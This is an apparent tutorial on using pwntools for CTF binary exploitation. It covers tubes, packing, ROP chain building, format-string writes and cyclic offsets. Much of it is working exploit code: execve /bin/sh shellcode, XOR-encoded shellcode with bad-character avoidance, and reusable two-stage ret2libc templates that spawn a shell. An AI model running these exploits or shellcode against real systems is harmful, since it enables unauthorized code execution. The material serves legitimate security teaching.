Mastering pwntools
So, you’ve started your journey into the fascinating world of Capture The Flag (CTF) challenges and binary exploitation. You understand the concepts—buffer overflows, Return-Oriented Programming (ROP), format string vulnerabilities. But manually crafting exploits with command-line tools and Python’s raw modules can be tedious, error-prone, and frankly, not much fun.
Enter pwntools.
Pwntools is more than just a Python library; it’s a swiss army knife for exploit developers. It simplifies tasks such as process interaction, networking, shellcode generation, and more. This guide will take you from a pwntools novice to a power user, ready to help in any binary exploitation challenge.
Getting started is straightforward. It’s highly recommended to use a Linux environment (native, VM, or WSL2). I am using Ubuntu 22.04.5 LTS
1
2
3
4
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
You can test your installation in a Python shell:
1
2
3
>>> import pwn
>>> pwn.version
'4.14.1' # or similar
Basic Components
1. Setting the Stage: The context
It tells pwntools about the environment you’re targeting, so helper functions can do the right thing by default.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
# The most important setting: let pwntools know what binary you're targeting.
# It will auto-detect the arch, OS, bits, and endianness for you!
context.binary = './vulnerable_binary'
# You can still override auto-detected settings manually:
context.arch = 'amd64' # Architecture: 'i386', 'arm', 'aarch64'
context.os = 'linux' # Operating System
context.endian = 'little' # Endianness
context.bits = 64 # Pointer size
# Log level control
context.log_level = 'debug' # 'critical', 'error', 'warning', 'info', 'debug'
2. Talking to Your Target: Tubes (process
, remote
)
All communication—whether with a local binary or a server across the world—is done through a tube. This abstraction is powerful because you can often switch from a local process
to a remote
target by changing just one line of code.
1
2
3
4
5
6
7
8
# Local Processes: For testing and debugging
p = process('./vulnerable_binary') # Simple execution
p = process(['./vulnerable_binary', 'arg1', 'arg2']) # With command-line arguments
p = process('./vulnerable_binary', env={'LD_PRELOAD': './libc.so.6'}) # With environment variables
# Remote Connections: For the real deal
r = remote('ctf.hackthebox.com', 1337) # Standard TCP connection
r = remote('secure-server.com', 443, ssl=True) # SSL-encrypted connection
3. The Conversation: Sending and Receiving Data
Once you have a tube, you need to talk to it. The key is to be specific in what you expect to receive to avoid your script hanging forever on a recv()
call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# SENDING DATA
p.send(b'Hello') # Send raw bytes (no newline)
p.sendline(b'Hello') # Send bytes + a newline (\\n) - crucial for functions like `gets` or `scanf`
# RECEIVING DATA - THE RIGHT WAY
data = p.recv(1024) # Receive up to 1024 bytes. Risky: what if exactly 1024 isn't sent?
line = p.recvline() # Receive until a newline is found. Great for menus and prompts.
prompt = p.recvuntil(b'Enter input: ') # BEST PRACTICE: Wait for a specific pattern before sending.
# SENDING AFTER A PROMPT - THE MOST ROBUST METHOD
p.sendafter(b'name: ', b'Alice') # Waits for 'name: ', then sends 'Alice'
p.sendlineafter(b'> ', b'1') # Waits for '> ', then sends '1\\n'
# WHEN YOU SUCCEED: Take control!
p.interactive() # Hands over terminal I/O to you. Use this when you get a shell!
4. Packing and Unpacking
This is where pwntools saves you from countless headaches. CPUs expect integers in specific byte orders (little-endian vs. big-endian). p32()
, p64()
, u32()
, and u64()
handle this translation seamlessly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# PACKING: Integers -> Bytes
# The classic buffer overflow payload setup
offset = 64
jmp_addr = 0x401152
payload = b'A' * offset # Padding to fill the buffer
payload += p64(jmp_addr) # Perfectly packed address, respecting endianness
# payload is now: b'AAAA...AAAA\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00'
# UNPACKING: Bytes -> Integers
# Essential for parsing leaked memory addresses
p.sendline(b'%3$p') # Leak a pointer from the stack via format string
leak = p.recvline().strip() # Leak might be b'0x7ffd4a1b2b80'
leaked_addr = int(leak, 16) # Convert string to integer: METHOD 1
leaked_addr = u64(p.recv(6).ljust(8, b'\\x00')) # METHOD 2: Unpack raw bytes directly!
print(hex(leaked_addr))
5. Building Your Payload: ELF, ROP, and Shellcode
Pwntools really shines when you move beyond simple overflows. Its ELF
and ROP
classes automate the boring parts of complex exploitation.
ELF Analysis
1
2
3
4
5
6
7
8
9
10
elf = ELF('./vulnerable_binary') # Load the binary for analysis
# No more searching for addresses in GDB!
main_addr = elf.symbols['main'] # Address of main()
puts_plt = elf.plt['puts'] # Address of puts() in the PLT
puts_got = elf.got['puts'] # Address of puts()'s GOT entry
# The magic of searching for strings and gadgets
bin_sh_addr = next(elf.search(b'/bin/sh\\x00')) # Find the string "/bin/sh"
pop_rdi_ret = next(elf.search(asm('pop rdi; ret'))) # Find a ROP gadget
ROP Chain Construction
1
2
3
4
5
6
7
8
9
10
11
12
# Automating ROP is pwntools' killer feature
rop = ROP(elf) # Create a ROP object based on the loaded ELF
# Build a chain to leak a puts() address and return to main()
rop.call(puts_plt, [puts_got]) # puts(puts_got)
rop.call(main_addr) # return to main() after the leak
payload = flat({ # flat() is a smarter way to build payloads
offset: rop.chain() # It handles padding and packing automatically
})
print(rop.dump()) # Pretty-print your ROP chain for debugging
Shellcode Generation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Generate shellcode
shellcode = asm(shellcraft.sh()) # pwntools writes /bin/sh shellcode for you
# Defaults to context.arch
# Custom shellcode
shellcode = asm('''
mov eax, 0x3b
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''')
# Shellcode for different architectures
with context.arch('arm'):
arm_shellcode = asm(shellcraft.arm.linux.sh())
6. The Art of Debugging: gdb.attach()
If your exploit doesn’t work first time (it won’t), you need to see why. Pwntools integrates perfectly with GDB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# The simplest way: attach GDB to the process
# This will pause the process and open a new GDB window
gdb.attach(p)
# The professional way: pass a script to set breakpoints and run commands
gdb_script = '''
break *vuln_function+45 # Break at a specific instruction
break *main
continue
'''
gdb.attach(p, gdbscript=gdb_script)
# For a clean workflow with tmux (highly recommended)
context.terminal = ['tmux', 'splitw', '-h'] # Split pane horizontally
gdb.attach(p) # GDB opens in the new pane
7. Memory Leaks and Format String Exploits
1
2
3
4
5
6
7
8
9
10
# Leak an address
payload = b'%7$p' # Leak 7th format string parameter
p.sendline(payload)
leak = p.recvline()
leaked_addr = int(leak, 16)
# Write to memory with format string
# Write 0xdeadbeef to address 0x804a000
fmtstr_payload = fmtstr_payload(5, {0x804a000: 0xdeadbeef})
p.sendline(fmtstr_payload)
8. Fuzzing and Pattern Generation
1
2
3
4
5
6
7
8
9
10
11
# Generate cyclic pattern
pattern = cyclic(1024)
p.sendline(pattern)
# Find offset in crash
core = p.corefile
offset = cyclic_find(core.eip) # or core.rip for 64-bit
# Alternative with command line
# $ cyclic 100
# $ cyclic -l 0x6161616c
Putting It All Together: A Sample Exploit Flow
This snippet shows how these concepts combine into a coherent exploit strategy against a 64-bit binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
# Setup
context.binary = elf = ELF('./vuln64')
p = process()
# Step 1: Leak a libc address with a ROP chain
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
payload = flat({
64: rop.chain() # Assume a 64-byte buffer
})
p.sendlineafter(b'> ', payload)
# Step 2: Calculate libc base address
leak = u64(p.recvline().strip().ljust(8, b'\\x00'))
libc = elf.libc # pwntools can often auto-detect the libc version!
libc.address = leak - libc.symbols['puts'] # Calculate base address
# Step 3: Build a new ROP chain with the known libc base
rop = ROP(libc) # Create a ROP object for libc
rop.system(next(libc.search(b'/bin/sh\\x00'))) # system("/bin/sh")
final_payload = flat({
64: rop.chain()
})
p.sendline(final_payload)
# Step 4: Enjoy your shell!
p.interactive()
Crafting Shellcode
shellcode is a small piece of machine code (usually written in assembly) that is injected into a vulnerable program to perform malicious actions, most commonly spawning a shell (/bin/sh
).
Key Characteristics of Shellcode:
Written in Assembly: Shellcode is typically hand-crafted in assembly language to ensure it is compact and position-independent.
Position-Independent Code (PIC): It avoids hardcoded addresses to work reliably in different memory locations.
Avoids Null Bytes (
\x00
):- Many vulnerable functions (like
strcpy
) stop reading at null bytes. - Shellcode must be crafted to avoid them.
- Many vulnerable functions (like
Executes Arbitrary Commands:
- Common goal: Spawn a shell (
execve("/bin/sh", NULL, NULL)
). - Can also perform other actions like opening files, reverse shells, etc.
- Common goal: Spawn a shell (
Example: Linux x86 Shellcode for /bin/sh
section .text
global _start
_start:
; execve("/bin/sh", NULL, NULL)
xor eax, eax ; Clear eax
push eax ; Push NULL terminator
push 0x68732f2f ; Push "//sh" (little-endian)
push 0x6e69622f ; Push "/bin"
mov ebx, esp ; ebx = ptr to "/bin//sh"
mov ecx, eax ; ecx = NULL (argv)
mov edx, eax ; edx = NULL (envp)
mov al, 0x0b ; syscall number for execve
int 0x80 ; Trigger syscall
If NX (No-Execute) is enabled, shellcode won’t work, so ROP is used instead.
Pwntools simplifies shellcode generation by:
- Providing pre-built shellcode snippets (e.g.,
shellcraft.sh()
for/bin/sh
). - Automating assembly/disassembly (
asm()
anddisasm()
). - Handling architecture-specific details (x86, x64, ARM, etc.).
Verify Installation
1
2
from pwn import *
print(pwnlib.__version__)
In pwntools
, always start by setting the architecture:
1
2
3
4
from pwn import *
context.arch = 'amd64' # or 'i386', 'arm', etc.
context.os = 'linux'
pwntools
has a powerful module called shellcraft
that generates high-quality assembly for many common tasks:
1
2
3
#shellcode = shellcraft.binary(args)
shellcode = shellcraft.sh()
print(shellcode)
This gives you x86_64 assembly code that spawns /bin/sh
.
To convert assembly to raw bytes:
1
shellcode_bytes = asm(shellcraft.sh())
Example 1: Spawning a Shell (/bin/sh
)
1
2
3
4
5
6
7
8
9
from pwn import *
# Set the target architecture (default: 'i386')
context.arch = 'amd64' # or 'i386', 'arm', 'aarch64'
# Generate shellcode for execve("/bin/sh", NULL, NULL)
shellcode = asm(shellcraft.sh())
print(hexdump(shellcode))
print(f"Shellcode length: {len(shellcode)} bytes")
Example 2: Exit Shellcode (Linux x64)
If you need custom shellcode, you can write raw assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch = 'amd64'
# Manually written assembly for exit(0)
assembly = """
xor rdi, rdi ; rdi = 0 (exit status)
mov rax, 60 ; syscall number for exit
syscall
"""
shellcode = asm(assembly)
print(hexdump(shellcode))
Example 3: Shellcode Without Null Bytes
Some exploits fail if shellcode contains certain bytes (e.g., \x00
, \x0a
, \x0d
). Pwntools helps filter them:
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch = 'i386'
# Generate shellcode avoiding bad chars
badchars = b'\x00\x0a\x0d'
shellcode = asm(shellcraft.sh())
while any(b in shellcode for b in badchars):
shellcode = asm(shellcraft.sh()) # Regenerate if bad chars exist
print("Safe shellcode:", enhex(shellcode))
Example 4: Running Shellcode in a Process
1
2
3
4
5
6
7
8
9
from pwn import *
context.arch = 'amd64'
shellcode = shellcraft.sh()
# Create a test program
elf = ELF.from_assembly(shellcode, vma=0x400000)
elf.save("shellcode_test")
elf.process().interactive() # Should spawn a shell!
Advanced: Encoded Shellcode (Alphanumeric, XOR)
Example 5: XOR-Encoded Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = 'i386' # or 'amd64' depending on your target
shellcode = asm(shellcraft.sh())
# Method 1: Using the encoder module directly
encoder = encode(shellcode, avoid=b'\x00\x0a\x0d') # Default is XOR encoding
print("Encoded shellcode:", enhex(encoder))
# Method 2: Explicit XOR encoding with key specification
encoder = xor(shellcode, 0x41) # XOR with 0x41
print("XOR-encoded shellcode:", enhex(encoder))
Exploiting a Buffer Overflow with Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'i386'
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Assume a vulnerable binary with a 128-byte buffer
payload = b"A" * 128 # Padding
payload += p32(0xffffd000) # Return address (stack)
payload += shellcode # Shellcode
# Send payload to binary
p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive() # Enjoy your shell!
Common CTF Shellcode Examples
Read a file (like a flag)
1
print(shellcraft.cat('/tmp/flag.txt'))
Print a message
1
print(shellcraft.echo("Hello World!\n"))
Exit the program
1
print(shellcraft.exit(0)) # Exit with status 0
You can debug shellcode using pwntools
with GDB:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Create executable memory with shellcode
shellcode = asm(shellcraft.sh())
# Create a raw executable file with shellcode (like a stage0 binary)
payload = asm('nop') * 100 # optional NOP sled
payload += shellcode
# Use pwntools' make_elf to convert to ELF binary
from pwnlib.asm import make_elf
binary_path = '/tmp/shellcode_runner'
with open(binary_path, 'wb') as f:
f.write(make_elf(payload))
# Make it executable
import os
os.chmod(binary_path, 0o755)
# Run the binary
p = process([binary_path])
p.interactive()
To automatically delete /tmp/shellcode_runner
after the process exits, you can use Python’s atexit
module or simply delete it manually after p.interactive()
returns.
1
2
3
4
5
6
try:
p = process([binary_path])
p.interactive()
finally:
os.remove(binary_path)
log.info(f"Deleted {binary_path}")
Sometimes you need to pad your shellcode:
1
payload = asm('nop') * 100 + asm(shellcraft.sh())
Creating ROP Chains with pwntools
This tutorial will guide you through Return-Oriented Programming (ROP) using pwntools, a powerful Python library for binary exploitation. ROP is a technique used to bypass security protections like NX (No-Execute) by chaining small code snippets (“gadgets”) from existing executable memory.
Key Concepts
Gadgets: Small instruction sequences ending in
ret
.- Example:
pop rdi; ret
- Example:
ROP Chain: A sequence of gadgets + arguments to achieve a goal.
Calling Conventions:
- x86-64 (System V ABI - Linux/macOS):
- First 6 integer/pointer arguments:
rdi
,rsi
,rdx
,rcx
,r8
,r9
- Remaining arguments: Stack (right to left)
- Return value:
rax
- First 6 integer/pointer arguments:
- x86:
- All arguments: Stack (right to left)
- Caller cleans the stack (cdecl), unless stdcall is used
- Return value:
eax
- ARM (32-bit, AAPCS - Linux/Embedded):
- First 4 arguments:
r0
,r1
,r2
,r3
- Remaining arguments: Stack (aligned to 4 bytes)
- Return value:
r0
(orr0
/r1
for larger types)
- First 4 arguments:
- AArch64 (ARM64 - Linux/Apple/Modern Android):
- First 8 integer arguments:
x0
–x7
- Floating-point args:
v0
–v7
- Remaining arguments: Stack (aligned to 16 bytes)
- Return value:
x0
(orx0
/x1
for larger types)
- First 8 integer arguments:
- x86-64 (System V ABI - Linux/macOS):
graph TD
A[Calling Conventions by Architecture]
A --> X86_64
X86_64["x86-64 (System V)"]
X86_64 --> RDI[rdi]
X86_64 --> RSI[rsi]
X86_64 --> RDX[rdx]
X86_64 --> RCX[rcx]
X86_64 --> R8[r8]
X86_64 --> R9[r9]
X86_64 --> X64Stack["Remaining args → Stack"]
A --> X86
X86["x86 (32-bit)"]
X86 --> X86Stack["All args → Stack (right to left)"]
A --> ARM32
ARM32["ARM (32-bit)"]
ARM32 --> R0[r0]
ARM32 --> R1[r1]
ARM32 --> R2[r2]
ARM32 --> R3[r3]
ARM32 --> ARM32Stack["Remaining args → Stack"]
A --> ARM64
ARM64["AArch64 (ARM64)"]
ARM64 --> X0[x0]
ARM64 --> X1[x1]
ARM64 --> X2[x2]
ARM64 --> X3[x3]
ARM64 --> X4[x4]
ARM64 --> X5[x5]
ARM64 --> X6[x6]
ARM64 --> X7[x7]
ARM64 --> VARGS["FP args: v0–v7"]
ARM64 --> ARM64Stack["Remaining args → Stack (16B aligned)"]
Load the Binary
1
2
3
4
from pwn import *
elf = context.binary = ELF('./vuln') # your vulnerable binary
rop = ROP(elf)
Find Useful Gadgets
1
rop.print_gadgets() # shows all gadgets
Or get specific registers:
1
2
3
4
5
6
log.info(rop.rdi.address) # pop rdi; ret;
# Find gadgets
print(rop.rdi) # Finds 'pop rdi; ret'
print(rop.rsi_r15) # Finds 'pop rsi; pop r15; ret'
print(rop.search(move='rax', registers=['rdi'])) # Finds 'mov rdi, rax; ret'
Or auto find one:
1
rop.call('puts', [elf.got['puts']])
Build the Payload
Assume:
- Buffer overflow after 40 bytes
- NX is enabled (so we need ROP)
- Goal: Leak address of
puts
, return to main
1
2
3
4
5
6
padding = b'A' * 40
rop = ROP(elf)
rop.puts(elf.got['puts']) # leak puts@got
rop.main() # return to main for second stage
payload = padding + rop.chain()
Send Payload
1
2
3
4
5
6
p = process(elf.path)
p.sendlineafter("Input:", payload)
p.recvline()
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts@GLIBC: {hex(leaked_puts)}")
Use Libc to Calculate Base
1
2
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # or libc.so from CTF
libc.address = leaked_puts - libc.symbols['puts']
Second Stage: Get Shell
1
2
3
4
5
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
payload = b'A' * 40 + rop.chain()
p.sendline(payload)
p.interactive()
Here’s a pwntools template you can reuse:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)
padding = b'A' * 40
# Stage 1: Leak puts
rop.puts(elf.got['puts'])
rop.main()
payload = padding + rop.chain()
p = process()
p.sendlineafter(">", payload)
# Parse leak
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked - libc.symbols['puts']
# Stage 2: Call system("/bin/sh")
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
payload = padding + rop.chain()
p.sendlineafter(">", payload)
p.interactive()
Goal: Call system("/bin/sh")
- Find
/bin/sh
in memory (or write it). - Find
system()
address (from PLT/GOT or libc). - Set
rdi = "/bin/sh"
(x64 calling convention).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
elf = ELF("./vulnerable_binary")
rop = ROP(elf)
# Find gadgets
rop.raw(b"A" * 128) # Padding to overflow buffer
rop.rdi = next(elf.search(b"/bin/sh")) # Set RDI = "/bin/sh"
rop.call(elf.symbols['system']) # Call system()
# Print the ROP chain
print(rop.dump())
# Send payload
p = process("./vulnerable_binary")
p.sendline(rop.chain())
p.interactive()
Advanced ROP Techniques
1. Stack Pivoting
If stack space is limited, move the stack to a controllable location (e.g., heap).
1
2
3
rop.raw(b"A" * 128) # Padding
rop.rax = heap_addr # New stack location
rop.leave_ret = rop.find_gadget(["leave", "ret"])[0] # pivot stack
2. Ret2Libc
Call libc functions directly (bypassing PLT).
1
rop.call(libc.symbols['system'], [next(libc.search(b"/bin/sh"))])
3. SigReturn-Oriented Programming (SROP)
For advanced exploitation (requires sigreturn
syscall).
1
2
3
4
5
6
7
8
frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall
frame.rdi = binsh_addr # /bin/sh
frame.rsi = 0 # argv
frame.rdx = 0 # envp
frame.rip = syscall_addr
rop.raw(frame)
One of pwntools’ hidden strengths is its suite of standalone command-line tools. These utilities let you perform common exploit dev tasks quickly from your terminal, making them perfect for reconnaissance, prototyping, and one-off operations.
1
pwn {asm,checksec,constgrep,cyclic,debug,disasm,disablenx,elfdiff,elfpatch,errno,hex,libcdb,phd,pwnstrip,scramble,shellcraft,template,unhex,update,version}
checksec
: Your first command for any binary. It quickly analyzes the security protections enabled.elfdiff
: Compares two ELF binaries and highlights differences in sections, symbols, and permissions. Great for analyzing patched binaries.phd
(Pwn HexDump): A powerful hex dumper with colorized output and disassembly side-by-side. Better thanxxd
orhexdump
for our purposes.cyclic
: The tool for finding offsets in buffer overflows.shellcraft
: Generate shellcode from your terminal. Specify architecture and constraints.asm
/disasm
: Quick assembly and disassembly on the command line.constgrep
: Incredibly useful for finding constants in files (often your libc.so). No more searching for “/bin/sh” in a hex editor!debug
: A wrapper to run a binary with your chosen debugger (GDB by default) and pre-set options. Perfect for a quick start.disablenx
: Creates a copy of a binary with the NX bit disabled. Useful for testing shellcode execution if you’re struggling with ROP and just want to verify control flow.template
: The ultimate exploit script starter. Generates a well-commented Python template for you to build upon.hex
/unhex
: Quickly convert between ASCII/hex and raw bytes. Great for command-line piping.errno
: Look up the meaning of an errno number. Useful when your exploits fail mysteriously.
pwn shellcraft
1. List available shellcodes
1
2
3
pwn shellcraft -l
# Optional filtering:
pwn shellcraft -l i386
2. Print shellcode (default: hex string)
1
pwn shellcraft i386.linux.sh
3. Get assembly output
Available formats: (‘r’, ‘raw’, ‘s’, ‘str’, ‘string’, ‘c’, ‘h’, ‘hex’, ‘a’, ‘asm’, ‘assembly’, ‘p’, ‘i’, ‘hexii’, ‘e’, ‘elf’, ‘d’, ‘escaped’, ‘default’)
1
2
3
4
5
6
pwn shellcraft -f asm sh
# Save raw shellcode
pwn shellcraft -f raw amd64.linux.sh -o shellcode.bin
# Save as ELF (binary)
pwn shellcraft -f elf amd64.linux.sh -o shellcode.bin
4. Directly Run the shellcode (-r
)
1
2
# Run shellcode with QEMU (experimental)
pwn shellcraft amd64.linux.sh -r
This executes the shellcode in a sandbox (if properly configured).
5. Avoid bad characters (e.g., null bytes)
1
2
3
4
5
6
7
# -v AVOID, --avoid AVOID
# Encode the shellcode to avoid the listed bytes
# -n, --newline Encode the shellcode to avoid newlines
# -z, --zero Encode the shellcode to avoid NULL bytes
$ pwn shellcraft sh -z
$ pwn shellcraft sh -v 00aabbcc
6. Debug Shellcode in GDB (-d
)
1
pwn shellcraft -d amd64.linux.sh
7. Concatenate multiple shellcodes
1
2
3
4
5
6
# shellcode [args ...] [+ shellcode [args ...]]
pwn shellcraft amd64.linux.cat '/etc/passwd' + amd64.linux.echo 'Hello World!'
# Verify
pwn shellcraft amd64.linux.cat '/etc/passwd' -r
pwn shellcraft amd64.linux.cat '/etc/passwd' + amd64.linux.echo 'Hello World!' + amd64.linux.syscalls.exit 1 -f elf -o sh